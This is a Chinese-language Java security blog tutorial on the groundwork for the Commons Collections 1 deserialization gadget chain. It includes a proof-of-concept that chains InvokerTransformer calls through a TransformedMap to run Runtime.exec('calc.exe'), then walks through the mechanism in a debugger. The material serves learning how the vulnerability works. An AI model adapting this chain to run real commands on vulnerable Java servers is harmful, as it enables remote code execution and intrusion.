Commons Collections1分析前置知识
2022-03-23 10:38:42 # Java安全

前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

1
2
JDK版本:jdk1.8以前(8u71之后已修复不可利用)
CC版本:Commons-Collections 3.1-3.2.1

前置知识

看下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.sec.test1;

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};

//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

结果成功执行命令,先来说下原因:首先利用ChainedTransformer类构建一个Transformer链,通过调用多个Transformer类来造成命令执行;当调用ChainedTransformer.transform()时,会把Transformer[]数组中的所有Transformer依次执行transform()方法,而且这里每个transform()方法执行后的结果被传递给第二个Transformer去执行transform()方法,所以造成命令执行。以上代码相当于这一行代码:

1
2
Runtime.getRuntime().getClass().getMethod("exec",new 
Class[]{String.class}).invoke(Runtime.getRuntime(),"calc.exe");

image-20220323113632899

在调试调用链的时候,会接触到一些没接触过的类,先了解下这些类的作用。

Transformer

TransformerCommons Collections中提供的一个接口

image-20220323123754968

根据注释可以了解到,Transformer 定义由将一个对象转换为另一个对象的类实现的仿函数接口。 Transformer 将输入对象转换为输出对象,输入对象应保持不变。 Transformer 通常用于类型转换或从对象中提取数据。

ConstantTransformer

ConstantTransformerTransformer的实现类,注释中解释说“每次返回相同常量的转换器实现,不检查对象是否不可变。通常,只有不可变对象才应该使用常量工厂,可变对象应该使用原型工厂”。

image-20220323143526180

InvokerTransformer

InvokerTransformer也是Transformer的实现类,作用是通过反射创建一个新对象实例的Transformer实现。

image-20220323143650924

在构造方法中有三个参数,第一个参数是待执行的方法名,第二个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。

里面还有个transform的方法,代码很明显,该方法可以通过Java反射机制来进行执行任意代码。

image-20220323145022528

ChainedTransformer

ChainedTransformer也是实现了Transformer接口的⼀个类,作用是可以实现将指定的Transformer链接在一起。输入对象被传递给第一个Transformer,输出后的结果被传递给第二个Transformer,依此类推。

image-20220323150705192

注意到ChainedTransformer有个transform方法,该方法的作用是将每个Transformer的输入转换为结果,这里会遍历transform数组。

image-20220323151521930

Map

利用Transformer来执行命令需要绑定到Map上,抽象类AbstractMapDecoratorApache Commons Collections提供的一个类,实现类有很多,比如LazyMapTransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,如修改数据,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则。

image-20220323153425166

TransformedMap

之前我们在poc里写了如下代码

1
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //给予map数据转化链

跟踪下就可以知道,通过TransformedMap.decorate()方法将Transformer实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer.transform()方法。

image-20220323155612177

下面简单分析下执行流程

先编写一个测试用例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.sec.test1;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Mytransform implements Transformer {
String name;

public Mytransform(String name) {
this.name = name;
}

@Override
public Object transform(Object input) {
System.out.println("in myTransformer :transform()");
System.out.println("input is " + input);
return this.name;
}
public static Transformer getinstance(String name) {
return new Mytransform(name);
}

public static void main(String[] args) {
Mytransform mytransform = (Mytransform) Mytransform.getinstance("sec");
HashMap objectObjectHashMap = new HashMap();
objectObjectHashMap.put("key1", "value1");
objectObjectHashMap.put("key2", "value2");
Map map = TransformedMap.decorate(objectObjectHashMap, null, mytransform);
Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
entry.setValue("new1");
System.out.println(objectObjectHashMap);
}

}

运行结果如下

image-20220323170657299

setValue处打上断点

image-20220323170720926

点击调式

image-20220323170808590

进入setValue方法中,这里会将value值传递给checkSetValue()方法中

image-20220323170847068

跟进checkSetValue()方法,到这里已经和上面我们得出的结论一致了,它会调用对应Transformer实现类的transform()方法,这里的valueTransformer是在TransformedMap.decorate中将mytransform赋值给它的

image-20220323170943534

跟进,就进入了我们重写的transform方法中

image-20220323171354317

以上就是一些前置知识。

参考

https://www.cnblogs.com/litlife/p/12571787.html#transformedmap

https://www.cnblogs.com/nice0e3/p/13758664.html#transformer